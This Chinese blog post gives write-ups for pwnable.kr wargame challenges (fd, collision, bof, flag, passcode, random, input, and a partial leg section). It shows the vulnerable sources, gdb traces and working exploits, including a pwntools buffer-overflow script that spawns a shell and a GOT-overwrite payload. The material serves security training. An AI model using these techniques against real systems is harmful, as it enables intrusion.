美文网首页CTF-PWNCTF
pwnable.kr 题解一

pwnable.kr 题解一

作者: Nevv | 来源:发表于2018-03-20 09:31 被阅读222次

    0x01 fd

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    char buf[32];
    int main(int argc, char* argv[], char* envp[]){
        if(argc<2){
            printf("pass argv[1] a number\n");
            return 0;
        }
        int fd = atoi( argv[1] ) - 0x1234;
        int len = 0;
        len = read(fd, buf, 32);
        if(!strcmp("LETMEWIN\n", buf)){
            printf("good job :)\n");
            system("/bin/cat flag");
            exit(0);
        }
        printf("learn about Linux file IO\n");
        return 0;
    }
    

    文件描述符 0、1、2分别代表标准输入、标准输出和标准错误,所以输入0x1234的十进制值,再次输入LETMEWIN即可

    0x02 collision

    #include <stdio.h>
    #include <string.h>
    unsigned long hashcode = 0x21DD09EC;
    unsigned long check_password(const char* p){
        int* ip = (int*)p;
        int i;
        int res=0;
        for(i=0; i<5; i++){
            res += ip[i];  //把传过来的参数强制转换为整数相加返回
        }
        return res;
    }
    
    int main(int argc, char* argv[]){
        if(argc<2){
            printf("usage : %s [passcode]\n", argv[0]);
            return 0;
        }
        if(strlen(argv[1]) != 20){
            printf("passcode length should be 20 bytes\n");
            return 0;
        }
    
        if(hashcode == check_password( argv[1] )){
            system("/bin/cat flag");
            return 0;
        }
        else
            printf("wrong passcode.\n");
        return 0;
    }
    

    这个问题的关键是我们输入20字节的数据被转换成了什么,20字节,每个字节都表示一个字符,但是一个整形数据是四个字节,所以,就被转换成了五个整形数据。这里输入的前几个字符好像不能是\x00,因为它表示null,\x09表示的是制表符,

    • 输入:
    col@ubuntu:~$ ./col `python -c "print '\x01\x01\x01\x01'*4+'\xe8\x05\xd9\x1d'"`
    daddy! I just managed to create a hash collision :)
    
    • 得到:
      flag: daddy! I just managed to create a hash collision :)

    0x03 bof

    #include <stdio.h>
    #include <string.h>
    #include <stdlib.h>
    void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);   // smash me!
        if(key == 0xcafebabe){
            system("/bin/sh");
        }
        else{
            printf("Nah..\n");
        }
    }
    int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
    }
    

    很明显的栈溢出 使用了gets这个危险的函数,直接附上代码

    from pwn import *
    conn= remote("pwnable.kr",9000)
    payload='A'*52 + p32(0xcafebabe)
    conn.sendline(payload)
    conn.interactive()
    

    flag:daddy, I just pwned a buFFer :)

    0x04 flag

    1 首先得到了一个flag文件 elf-64位,IDA查看发现

    LOAD:000000000044A4F0 start           proc near
    LOAD:000000000044A4F0                 call    loc_44A770
    LOAD:000000000044A4F5                 push    rbp
    LOAD:000000000044A4F6                 push    rbx
    LOAD:000000000044A4F7                 push    rcx
    LOAD:000000000044A4F8                 push    rdx
    LOAD:000000000044A4F9                 add     rsi, rdi
    LOAD:000000000044A4FC                 push    rsi
    LOAD:000000000044A4FD                 mov     rsi, rdi
    LOAD:000000000044A500                 mov     rdi, rdx
    LOAD:000000000044A503                 xor     ebx, ebx
    LOAD:000000000044A505                 xor     ecx, ecx
    LOAD:000000000044A507                 or      rbp, 0FFFFFFFFFFFFFFFFh
    LOAD:000000000044A50B                 call    sub_44A560
    LOAD:000000000044A510                 add     ebx, ebx
    LOAD:000000000044A512                 jz      short loc_44A516
    LOAD:000000000044A514                 rep retn
    
    1. 明显的UPX压缩过了,以上代码是UPX的入口
    2. upx -d flag 解压缩后,再次使用IDA查看关键位置
    .text:0000000000401164                 public main
    .text:0000000000401164 main            proc near               ; DATA XREF: _start+1D�o
    .text:0000000000401164
    .text:0000000000401164 var_8           = qword ptr -8
    .text:0000000000401164
    .text:0000000000401164                 push    rbp
    .text:0000000000401165                 mov     rbp, rsp
    .text:0000000000401168                 sub     rsp, 10h
    .text:000000000040116C                 mov     edi, offset aIWillMallocAnd ; "I will malloc() and strcpy the flag the"...
    .text:0000000000401171                 call    puts
    .text:0000000000401176                 mov     edi, 64h
    .text:000000000040117B                 call    malloc
    .text:0000000000401180                 mov     [rbp+var_8], rax
    .text:0000000000401184                 mov     rdx, cs:flag
    .text:000000000040118B                 mov     rax, [rbp+var_8]
    .text:000000000040118F                 mov     rsi, rdx
    .text:0000000000401192                 mov     rdi, rax
    .text:0000000000401195                 call    sub_400320
    .text:000000000040119A                 mov     eax, 0
    .text:000000000040119F                 leave
    .text:00000000004011A0                 retn
    .text:00000000004011A0 main            endp
    
    1. 然后跟进flag查看
    .rodata:0000000000496628 aUpx___?SoundsL db 'UPX...? sounds like a delivery service :)',0
    

    0x05 passcode

    #include <stdio.h>
    #include <stdlib.h>
    
    void login(){
        int passcode1;
        int passcode2;
    
        printf("enter passcode1 : ");
        scanf("%d", passcode1);
        fflush(stdin);
    
        // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
        printf("enter passcode2 : ");
            scanf("%d", passcode2);
    
        printf("checking...\n");
        if(passcode1==338150 && passcode2==13371337){
                    printf("Login OK!\n");
                    system("/bin/cat flag");
            }
            else{
                    printf("Login Failed!\n");
            exit(0);
            }
    }
    
    void welcome(){
        char name[100];
        printf("enter you name : ");
        scanf("%100s", name);
        printf("Welcome %s!\n", name);
    }
    
    int main(){
        printf("Toddler's Secure Login System 1.0 beta.\n");
    
        welcome();
        login();
    
        // something after login...
        printf("Now I can safely trust you that you have credential :)\n");
        return 0;   
    }
    
    

    查看源码我们注意到这个程序在输入passcode的时候,是没有取地址符的,这就导致了一个安全问题

    • 这里有个知识点:如果scanf没加&的话,程序会默认从栈中读取4个字节的数据当做scanf取的地址

    在调用welcome函数和login函数处下断点查看栈的变化情况,此时ebp为EBP: EBP: 0xbffff408 --> 0xbffff428 --> 0x0

    [----------------------------------registers-----------------------------------]
    EAX: 0x28 ('(')
    EBX: 0x0 
    ECX: 0xffffffff 
    EDX: 0xb7fb4870 --> 0x0 
    ESI: 0xb7fb3000 --> 0x1aedb0 
    EDI: 0xb7fb3000 --> 0x1aedb0 
    EBP: 0xbffff408 --> 0xbffff428 --> 0x0 
    ESP: 0xbffff408 --> 0xbffff428 --> 0x0 
    EIP: 0x804860c (<welcome+3>:    sub    esp,0x88)
    EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x8048604 <login+160>:   call   0x8048480 <exit@plt>
       0x8048609 <welcome>: push   ebp
       0x804860a <welcome+1>:   mov    ebp,esp
    => 0x804860c <welcome+3>:   sub    esp,0x88
       0x8048612 <welcome+9>:   mov    eax,gs:0x14
       0x8048618 <welcome+15>:  mov    DWORD PTR [ebp-0xc],eax
       0x804861b <welcome+18>:  xor    eax,eax
       0x804861d <welcome+20>:  mov    eax,0x80487cb
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff408 --> 0xbffff428 --> 0x0 
    0004| 0xbffff40c --> 0x804867f (<main+26>:  call   0x8048564 <login>)
    0008| 0xbffff410 --> 0x80487f0 ("Toddler's Secure Login System 1.0 beta.")
    0012| 0xbffff414 --> 0x8048250 --> 0x6e ('n')
    0016| 0xbffff418 --> 0x80486a9 (<__libc_csu_init+9>:    add    ebx,0x194b)
    0020| 0xbffff41c --> 0x0 
    0024| 0xbffff420 --> 0xb7fb3000 --> 0x1aedb0 
    0028| 0xbffff424 --> 0xb7fb3000 --> 0x1aedb0 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x0804860c in welcome ()
    

    我们运行到login函数里边的scanf函数处,发现此时的ebp的值仍然和welcome的时候一样

    gdb-peda$ 
    
    [----------------------------------registers-----------------------------------]
    EAX: 0x8048783 --> 0x65006425 ('%d')
    EBX: 0x0 
    ECX: 0x0 
    EDX: 0xb7e630db (<_IO_puts+11>: add    ebx,0x14ff25)
    ESI: 0xb7fb3000 --> 0x1aedb0 
    EDI: 0xb7fb3000 --> 0x1aedb0 
    EBP: 0xbffff408 --> 0xbffff428 --> 0x0 
    ESP: 0xbffff3e0 --> 0x8048783 --> 0x65006425 ('%d')
    EIP: 0x8048586 (<login+34>: call   0x80484a0 <__isoc99_scanf@plt>)
    EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
    [-------------------------------------code-------------------------------------]
       0x804857c <login+24>:    mov    edx,DWORD PTR [ebp-0x10]
       0x804857f <login+27>:    mov    DWORD PTR [esp+0x4],edx
       0x8048583 <login+31>:    mov    DWORD PTR [esp],eax
    => 0x8048586 <login+34>:    call   0x80484a0 <__isoc99_scanf@plt>
       0x804858b <login+39>:    mov    eax,ds:0x804a02c
       0x8048590 <login+44>:    mov    DWORD PTR [esp],eax
       0x8048593 <login+47>:    call   0x8048430 <fflush@plt>
       0x8048598 <login+52>:    mov    eax,0x8048786
    Guessed arguments:
    arg[0]: 0x8048783 --> 0x65006425 ('%d')
    arg[1]: 0xb7e630db (<_IO_puts+11>:  add    ebx,0x14ff25)
    [------------------------------------stack-------------------------------------]
    0000| 0xbffff3e0 --> 0x8048783 --> 0x65006425 ('%d')
    0004| 0xbffff3e4 --> 0xb7e630db (<_IO_puts+11>: add    ebx,0x14ff25)
    0008| 0xbffff3e8 --> 0x0 
    0012| 0xbffff3ec --> 0xb7fb3d60 --> 0xfbad2a84 
    0016| 0xbffff3f0 --> 0xbffff428 --> 0x0 
    0020| 0xbffff3f4 --> 0xb7feff10 (<_dl_runtime_resolve+16>:  pop    edx)
    0024| 0xbffff3f8 --> 0xb7e630db (<_IO_puts+11>: add    ebx,0x14ff25)
    0028| 0xbffff3fc --> 0x2cf92300 
    [------------------------------------------------------------------------------]
    Legend: code, data, rodata, value
    0x08048586 in login ()
    gdb-peda$ 
    enter passcode1 : 
    

    这样的话,我们需要用到以下知识

    • GOT表:

    概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。

    作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld。

    • PLT表:

    过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目

    当main()函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()函数,rtld得以调用就可以定位printf的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。

    动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.

    • 解题思路

    将一个GOT表中的函数地址写到栈中,用来充当scanf()取的地址,然后把system("/bin/cat flag")这条指令的地址写到这个GOT表中的函数。

    当这个函数被调用时,就会直接执行system("/bin/cat flag")

    仔细观察我们会发现: 这里调用了fflush函数,因此我们可以覆盖fflush在GOT表中的内容,让程序去执行system("/bin/cat flag")

    => 0x8048586 <login+34>:    call   0x80484a0 <__isoc99_scanf@plt>
       0x804858b <login+39>:    mov    eax,ds:0x804a02c
       0x8048590 <login+44>:    mov    DWORD PTR [esp],eax
       0x8048593 <login+47>:    call   0x8048430 <fflush@plt>
    
    gdb-peda$ disas login
    Dump of assembler code for function login:
       0x08048564 <+0>: push   ebp
       0x08048565 <+1>: mov    ebp,esp
       0x08048567 <+3>: sub    esp,0x28
       0x0804856a <+6>: mov    eax,0x8048770
       0x0804856f <+11>:    mov    DWORD PTR [esp],eax
       0x08048572 <+14>:    call   0x8048420 <printf@plt>
       0x08048577 <+19>:    mov    eax,0x8048783
       0x0804857c <+24>:    mov    edx,DWORD PTR [ebp-0x10]
       0x0804857f <+27>:    mov    DWORD PTR [esp+0x4],edx
       0x08048583 <+31>:    mov    DWORD PTR [esp],eax
       0x08048586 <+34>:    call   0x80484a0 <__isoc99_scanf@plt>
       0x0804858b <+39>:    mov    eax,ds:0x804a02c
       0x08048590 <+44>:    mov    DWORD PTR [esp],eax
       0x08048593 <+47>:    call   0x8048430 <fflush@plt>
       0x08048598 <+52>:    mov    eax,0x8048786
       0x0804859d <+57>:    mov    DWORD PTR [esp],eax
       0x080485a0 <+60>:    call   0x8048420 <printf@plt>
       0x080485a5 <+65>:    mov    eax,0x8048783
       0x080485aa <+70>:    mov    edx,DWORD PTR [ebp-0xc]
       0x080485ad <+73>:    mov    DWORD PTR [esp+0x4],edx
       0x080485b1 <+77>:    mov    DWORD PTR [esp],eax
       0x080485b4 <+80>:    call   0x80484a0 <__isoc99_scanf@plt>
       0x080485b9 <+85>:    mov    DWORD PTR [esp],0x8048799
       0x080485c0 <+92>:    call   0x8048450 <puts@plt>
       0x080485c5 <+97>:    cmp    DWORD PTR [ebp-0x10],0x528e6
       0x080485cc <+104>:   jne    0x80485f1 <login+141>
       0x080485ce <+106>:   cmp    DWORD PTR [ebp-0xc],0xcc07c9
       0x080485d5 <+113>:   jne    0x80485f1 <login+141>
       0x080485d7 <+115>:   mov    DWORD PTR [esp],0x80487a5
       0x080485de <+122>:   call   0x8048450 <puts@plt>
       0x080485e3 <+127>:   mov    DWORD PTR [esp],0x80487af  //这里是调用system函数的地方,也就是说要把0x80485e3这个值写入fflush()中
       0x080485ea <+134>:   call   0x8048460 <system@plt>
       0x080485ef <+139>:   leave  
       0x080485f0 <+140>:   ret    
       0x080485f1 <+141>:   mov    DWORD PTR [esp],0x80487bd
       0x080485f8 <+148>:   call   0x8048450 <puts@plt>
       0x080485fd <+153>:   mov    DWORD PTR [esp],0x0
       0x08048604 <+160>:   call   0x8048480 <exit@plt>
    End of assembler dump.
    gdb-peda$ 
    

    查看fflush在got表中的位置:

    passcode@ubuntu:~$ readelf -r passcode
    
    Relocation section '.rel.dyn' at offset 0x388 contains 2 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    08049ff0  00000606 R_386_GLOB_DAT    00000000   __gmon_start__
    0804a02c  00000b05 R_386_COPY        0804a02c   stdin@GLIBC_2.0
    
    Relocation section '.rel.plt' at offset 0x398 contains 9 entries:
     Offset     Info    Type            Sym.Value  Sym. Name
    0804a000  00000107 R_386_JUMP_SLOT   00000000   printf@GLIBC_2.0
    0804a004  00000207 R_386_JUMP_SLOT   00000000   fflush@GLIBC_2.0
    0804a008  00000307 R_386_JUMP_SLOT   00000000   __stack_chk_fail@GLIBC_2.4
    0804a00c  00000407 R_386_JUMP_SLOT   00000000   puts@GLIBC_2.0
    0804a010  00000507 R_386_JUMP_SLOT   00000000   system@GLIBC_2.0
    0804a014  00000607 R_386_JUMP_SLOT   00000000   __gmon_start__
    0804a018  00000707 R_386_JUMP_SLOT   00000000   exit@GLIBC_2.0
    0804a01c  00000807 R_386_JUMP_SLOT   00000000   __libc_start_main@GLIBC_2.0
    0804a020  00000907 R_386_JUMP_SLOT   00000000   __isoc99_scanf@GLIBC_2.7
    
    

    fflush()位于0x0804a004

    现在我们明确了攻击的方式,以数据0x80485e3覆写位于0x0804a004的fflush()函数的GOT表,之后要做的就是在栈中构造这些信息,而且welocome()和login()使用的是同一个EBP

    name 的位置: ebp-0x70 (0x0xbffff408 - 0x70)

    [-------------------------------------code-------------------------------------]
       0x804861d <welcome+20>:  mov    eax,0x80487cb
       0x8048622 <welcome+25>:  mov    DWORD PTR [esp],eax
       0x8048625 <welcome+28>:  call   0x8048420 <printf@plt>
    => 0x804862a <welcome+33>:  mov    eax,0x80487dd
       0x804862f <welcome+38>:  lea    edx,[ebp-0x70]
       0x8048632 <welcome+41>:  mov    DWORD PTR [esp+0x4],edx
       0x8048636 <welcome+45>:  mov    DWORD PTR [esp],eax
       0x8048639 <welcome+48>:  call   0x80484a0 <__isoc99_scanf@plt>
    [------------------------------------stack-------------------------------------]
    
    

    passcode 的位置: ebp-0x10 (0x0xbffff408 - 0x10)

    [-------------------------------------code-------------------------------------]
       0x804856f <login+11>:    mov    DWORD PTR [esp],eax
       0x8048572 <login+14>:    call   0x8048420 <printf@plt>
       0x8048577 <login+19>:    mov    eax,0x8048783
    => 0x804857c <login+24>:    mov    edx,DWORD PTR [ebp-0x10]
       0x804857f <login+27>:    mov    DWORD PTR [esp+0x4],edx
       0x8048583 <login+31>:    mov    DWORD PTR [esp],eax
       0x8048586 <login+34>:    call   0x80484a0 <__isoc99_scanf@plt>
       0x804858b <login+39>:    mov    eax,ds:0x804a02c
    [------------------------------------stack-------------------------------------]
    
    |低地址
    |        name  ebp-70
    |
    |
    |
    |
    |        passcode ebp-10   |
    |高地址  ebp               |  login 函数开辟的栈空间小,所以name过小的话看不到
    

    0x70 - 0x10 = 96,也就是说name这个字符串第96个字节后的4字节数据将会被作为passcode1的地址。

    刚才说我们把调用system函数的地方,也就是说要把0x80485e3这个值写入fflush()中,而且fflush的地址0x0804a004

    所以构造python -c "print ('a'*96+'\x04\xa0\x04\x08'+'\n'+'134514147\n')" | ./passcode

    相当于把134514147 这个值写入got表中fflush的位置直接调用了system("/bin/cat flag")函数
    ,把passcode1的地址覆盖成fflush或者printf或者exit的地址,然后利用scanf函数把system的地址覆写过去。这样等调用fflush或者printf或者exit的就调用成了system。

    flag:Sorry mom.. I got confused about scanf usage :(

    【参考链接】:

    详解GOT表覆写攻击技术

    0x06 random

    #include <stdio.h>
    
    int main(){
        unsigned int random;
        random = rand();    // random value!
    
        unsigned int key=0;
        scanf("%d", &key);
    
        if( (key ^ random) == 0xdeadbeef ){
            printf("Good!\n");
            system("/bin/cat flag");
            return 0;
        }
    
        printf("Wrong, maybe you should try 2^32 cases.\n");
        return 0;
    }
    
    • 产生整数rand的原理是:

    y=(ax+b)(mod n)。其中n一般是一个很大的素数(几万)。a也是大素数,而且a,b,n都是常数。所以rand的产生决定于x,他被称seed。每一个seed都是上一次产生的y的函数。这样,如果直接取seed=y的话,虽然产生的rand之间相关性甚小,但只要知道某个y,就能推知以后的rand。 为避免这种情况,一般取seed为y和当时计算机的时间的函数,如seed=y+t系统里的随机数是利用初等数论中的同余定理来实现的. 比如C中对于rand()函数是如下实现的.

    unsigned long int next = 1;
    /* rand:  return pseudo-random integer on 0..32767 */
    int rand(void)
    {
        next = next * 1103515245 + 12345;
        return (unsigned int)(next / 65536) % 32768;
    }
    /* srand:  set seed for rand() */
    void srand(unsigned int seed)
    {
        next = seed;
    }
    

    因此只需要:

    #include <stdio.h>
    
    int main(){
        unsigned int random;
        random = rand();        // random value!
        printf("%d",random ^ 0xdeadbeef);
        return 0;
    }
    
    

    编译运行后得到:-1255736440

    random@ubuntu:~$ ./random
    -1255736440
    Good!
    Mommy, I thought libc random is unpredictable...
    random@ubuntu:~$ 
    

    0x07 input

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <sys/socket.h>
    #include <arpa/inet.h>
    
    int main(int argc, char* argv[], char* envp[]){
        printf("Welcome to pwnable.kr\n");
        printf("Let's see if you know how to give input to program\n");
        printf("Just give me correct inputs then you will get the flag :)\n");
    
        // argv
        if(argc != 100) return 0;
        if(strcmp(argv['A'],"\x00")) return 0;
        if(strcmp(argv['B'],"\x20\x0a\x0d")) return 0;
        printf("Stage 1 clear!\n"); 
    
        // stdio
        char buf[4];
        read(0, buf, 4);
        if(memcmp(buf, "\x00\x0a\x00\xff", 4)) return 0;
        read(2, buf, 4);
            if(memcmp(buf, "\x00\x0a\x02\xff", 4)) return 0;
        printf("Stage 2 clear!\n");
        
        // env
        if(strcmp("\xca\xfe\xba\xbe", getenv("\xde\xad\xbe\xef"))) return 0;
        printf("Stage 3 clear!\n");
    
        // file
        FILE* fp = fopen("\x0a", "r");
        if(!fp) return 0;
        if( fread(buf, 4, 1, fp)!=1 ) return 0;
        if( memcmp(buf, "\x00\x00\x00\x00", 4) ) return 0;
        fclose(fp);
        printf("Stage 4 clear!\n"); 
    
        // network
        int sd, cd;
        struct sockaddr_in saddr, caddr;
        sd = socket(AF_INET, SOCK_STREAM, 0);
        if(sd == -1){
            printf("socket error, tell admin\n");
            return 0;
        }
        saddr.sin_family = AF_INET;
        saddr.sin_addr.s_addr = INADDR_ANY;
        saddr.sin_port = htons( atoi(argv['C']) );
        if(bind(sd, (struct sockaddr*)&saddr, sizeof(saddr)) < 0){
            printf("bind error, use another port\n");
                return 1;
        }
        listen(sd, 1);
        int c = sizeof(struct sockaddr_in);
        cd = accept(sd, (struct sockaddr *)&caddr, (socklen_t*)&c);
        if(cd < 0){
            printf("accept error, tell admin\n");
            return 0;
        }
        if( recv(cd, buf, 4, 0) != 4 ) return 0;
        if(memcmp(buf, "\xde\xad\xbe\xef", 4)) return 0;
        printf("Stage 5 clear!\n");
    
        // here's your flag
        system("/bin/cat flag");    
        return 0;
    }
    
    

    解题脚本:

    #include <stdio.h>
    #include <unistd.h>
    #include <sys/types.h>
    #include <stdlib.h>
    #include <sys/wait.h>
    #include <arpa/inet.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
     
    int main (){
        //Stage 1
        char *argv[101] = {"/home/input2/input", [1 ... 99] = "A", NULL};
        argv['A'] = "\x00";
        argv['B'] = "\x20\x0a\x0d";
        argv['C'] = "55555";
         
        //Stage 2
        int pipe2stdin[2] = {-1,-1};
        int pipe2stderr[2] = {-1,-1};
        pid_t childpid;
     
        if ( pipe(pipe2stdin) < 0 || pipe(pipe2stderr) < 0){
            perror("Cannot create the pipe");
            exit(1);
        }
         
        //Stage 4
        FILE* fp = fopen("\x0a","w");
        fwrite("\x00\x00\x00\x00",4,1,fp);
        fclose(fp);
     
        if ( ( childpid = fork() ) < 0 ){
            perror("Cannot fork");
            exit(1);
        }
         
        if ( childpid == 0 ){
                    /* Child process */
            close(pipe2stdin[0]); close(pipe2stderr[0]); // Close pipes for reading 
            write(pipe2stdin[1],"\x00\x0a\x00\xff",4);
            write(pipe2stderr[1],"\x00\x0a\x02\xff",4);
             
        } 
        else {
            /* Parent process */
            close(pipe2stdin[1]); close(pipe2stderr[1]);   // Close pipes for writing
            dup2(pipe2stdin[0],0); dup2(pipe2stderr[0],2); // Map to stdin and stderr 
            close(pipe2stdin[0]); close(pipe2stderr[1]);   // Close write end (the fd has been copied before)
            // Stage 3
            char *env[2] = {"\xde\xad\xbe\xef=\xca\xfe\xba\xbe", NULL};
            execve("/home/input2/input",argv,env);   // Execute the program  
            perror("Fail to execute the program");
            exit(1);
        }
     
            // Stage 5
            sleep(5);
            int sockfd;
            struct sockaddr_in server;
            sockfd = socket(AF_INET,SOCK_STREAM,0);
            if ( sockfd < 0){
                perror("Cannot create the socket");
                exit(1);
            }
            server.sin_family = AF_INET;
            server.sin_addr.s_addr = inet_addr("127.0.0.1");
            server.sin_port = htons(55555);
            if ( connect(sockfd, (struct sockaddr*) &server, sizeof(server)) < 0 ){
                perror("Problem connecting");
                exit(1);
            }
            printf("Connected\n");
            char buf[4] = "\xde\xad\xbe\xef";
            write(sockfd,buf,4);
            close(sockfd);
            return 0;
    }
    

    scp -P 2222 inputpwn.c input2@pwnable.kr:/tmp

    ln -s /home/input/flag flag

    gcc inputpwn.c -o input

    ./input

    flag:Mommy! I learned how to pass various input in Linux :)

    0x08 leg

    #include <stdio.h>
    #include <fcntl.h>
    int key1(){
        asm("mov r3, pc\n");
    }
    int key2(){
        asm(
        "push   {r6}\n"
        "add    r6, pc, $1\n"
        "bx r6\n"
        ".code   16\n"
        "mov    r3, pc\n"
        "add    r3, $0x4\n"
        "push   {r3}\n"
        "pop    {pc}\n"
        ".code  32\n"
        "pop    {r6}\n"
        );
    }
    int key3(){
        asm("mov r3, lr\n");
    }
    int main(){
        int key=0;
        printf("Daddy has very strong arm! : ");
        scanf("%d", &key);
        if( (key1()+key2()+key3()) == key ){
            printf("Congratz!\n");
            int fd = open("flag", O_RDONLY);
            char buf[100];
            int r = read(fd, buf, 100);
            write(0, buf, r);
        }
        else{
            printf("I have strong leg :P\n");
        }
        return 0;
    }
    
    (gdb) disass main
    Dump of assembler code for function main:
       0x00008d3c <+0>: push    {r4, r11, lr}
       0x00008d40 <+4>: add r11, sp, #8
       0x00008d44 <+8>: sub sp, sp, #12
       0x00008d48 <+12>:    mov r3, #0
       0x00008d4c <+16>:    str r3, [r11, #-16]
       0x00008d50 <+20>:    ldr r0, [pc, #104]  ; 0x8dc0 <main+132>
       0x00008d54 <+24>:    bl  0xfb6c <printf>
       0x00008d58 <+28>:    sub r3, r11, #16
       0x00008d5c <+32>:    ldr r0, [pc, #96]   ; 0x8dc4 <main+136>
       0x00008d60 <+36>:    mov r1, r3
       0x00008d64 <+40>:    bl  0xfbd8 <__isoc99_scanf>
       0x00008d68 <+44>:    bl  0x8cd4 <key1>
       0x00008d6c <+48>:    mov r4, r0
       0x00008d70 <+52>:    bl  0x8cf0 <key2>
       0x00008d74 <+56>:    mov r3, r0
       0x00008d78 <+60>:    add r4, r4, r3
       0x00008d7c <+64>:    bl  0x8d20 <key3>
       0x00008d80 <+68>:    mov r3, r0
       0x00008d84 <+72>:    add r2, r4, r3
       0x00008d88 <+76>:    ldr r3, [r11, #-16]
       0x00008d8c <+80>:    cmp r2, r3
       0x00008d90 <+84>:    bne 0x8da8 <main+108>
       0x00008d94 <+88>:    ldr r0, [pc, #44]   ; 0x8dc8 <main+140>
       0x00008d98 <+92>:    bl  0x1050c <puts>
       0x00008d9c <+96>:    ldr r0, [pc, #40]   ; 0x8dcc <main+144>
       0x00008da0 <+100>:   bl  0xf89c <system>
       0x00008da4 <+104>:   b   0x8db0 <main+116>
       0x00008da8 <+108>:   ldr r0, [pc, #32]   ; 0x8dd0 <main+148>
       0x00008dac <+112>:   bl  0x1050c <puts>
       0x00008db0 <+116>:   mov r3, #0
       0x00008db4 <+120>:   mov r0, r3
       0x00008db8 <+124>:   sub sp, r11, #8
       0x00008dbc <+128>:   pop {r4, r11, pc}
       0x00008dc0 <+132>:   andeq   r10, r6, r12, lsl #9
       0x00008dc4 <+136>:   andeq   r10, r6, r12, lsr #9
       0x00008dc8 <+140>:           ; <UNDEFINED> instruction: 0x0006a4b0
       0x00008dcc <+144>:           ; <UNDEFINED> instruction: 0x0006a4bc
       0x00008dd0 <+148>:   andeq   r10, r6, r4, asr #9
    End of assembler dump.
    (gdb) disass key1
    Dump of assembler code for function key1:
       0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
       0x00008cd8 <+4>: add r11, sp, #0
       0x00008cdc <+8>: mov r3, pc
       0x00008ce0 <+12>:    mov r0, r3
       0x00008ce4 <+16>:    sub sp, r11, #0
       0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
       0x00008cec <+24>:    bx  lr
    End of assembler dump.
    (gdb) disass key2
    Dump of assembler code for function key2:
       0x00008cf0 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
       0x00008cf4 <+4>: add r11, sp, #0
       0x00008cf8 <+8>: push    {r6}        ; (str r6, [sp, #-4]!)
       0x00008cfc <+12>:    add r6, pc, #1
       0x00008d00 <+16>:    bx  r6
       0x00008d04 <+20>:    mov r3, pc
       0x00008d06 <+22>:    adds    r3, #4
       0x00008d08 <+24>:    push    {r3}
       0x00008d0a <+26>:    pop {pc}
       0x00008d0c <+28>:    pop {r6}        ; (ldr r6, [sp], #4)
       0x00008d10 <+32>:    mov r0, r3
       0x00008d14 <+36>:    sub sp, r11, #0
       0x00008d18 <+40>:    pop {r11}       ; (ldr r11, [sp], #4)
       0x00008d1c <+44>:    bx  lr
    End of assembler dump.
    (gdb) disass key3
    Dump of assembler code for function key3:
       0x00008d20 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
       0x00008d24 <+4>: add r11, sp, #0
       0x00008d28 <+8>: mov r3, lr
       0x00008d2c <+12>:    mov r0, r3
       0x00008d30 <+16>:    sub sp, r11, #0
       0x00008d34 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
       0x00008d38 <+24>:    bx  lr
    End of assembler dump.
    (gdb) 
    
    • 先看key1():
    (gdb) disass key1
    Dump of assembler code for function key1:
       0x00008cd4 <+0>: push    {r11}       ; (str r11, [sp, #-4]!)
       0x00008cd8 <+4>: add r11, sp, #0
       0x00008cdc <+8>: mov r3, pc
       0x00008ce0 <+12>:    mov r0, r3
       0x00008ce4 <+16>:    sub sp, r11, #0
       0x00008ce8 <+20>:    pop {r11}       ; (ldr r11, [sp], #4)
       0x00008cec <+24>:    bx  lr
    End of assembler dump.
    

    关键部分是

       0x00008cdc <+8>: mov r3, pc
       0x00008ce0 <+12>:    mov r0, r3
    

    这里先科普一下网上找到的资料:

    
    1  返回值:
    1) X86采用eax作为返回值。
    return i;          2d: 89 c0                        mov    %eax,%eax
    
    2) ARM使用r0作为返回值。
    RETURN I;      4C: E1A00003            MOV R0, R3
    
    2 参数传递
    1) X86:主要是采用堆栈,除非指定以寄存器传递(通过"regparm (NUMBER)"注:NUMBER<=3指定)。
    如果指定寄存器传递参数,则eax为第一个参数,edx为第二个参数, ecx为第三个参数。
    int hello(int );
    t=hello(13);              9: 6a 0d            push  $0xd
                                  b: e8 fc ff ff ff      call  <hello>
    2) ARM:寄存器到堆栈,首先将参数赋给r0, r1等,同时,未经优化的代码,在函数的堆栈中,也会为每个参数预留一个参数堆栈。
    ARM的参数结构看起来比较奇怪,对其的解释是:出于效率考虑,如果在函数中的寄存器足够分配的话,则经过优化后,它不会进栈,而直接使用寄存器即可。这样的方式可以保证优化只局限于函数内部,实际上一般使用-O优化过的代码最终普遍在函数中不再进栈的。
    int hello(int );
    t=hello(13);
    
    未优化: 10: e3a0000d  mov r0, #13 ; 0xd 
                14: ebfffffe      bl <hello>
                ... ...
                <hello>
                ......
                3c: e50b0010  str r0, [fp, -#16]
    优化后:-O选项
                4: e3a0000d  mov r0, #13 ;
                ...
                bl <hello>
                ...
              1c: e1a0f00e  mov pc, lr
    

    参考:

    ARM状态结构小记 http://blog.csdn.net/qq_19550513/article/details/62038580

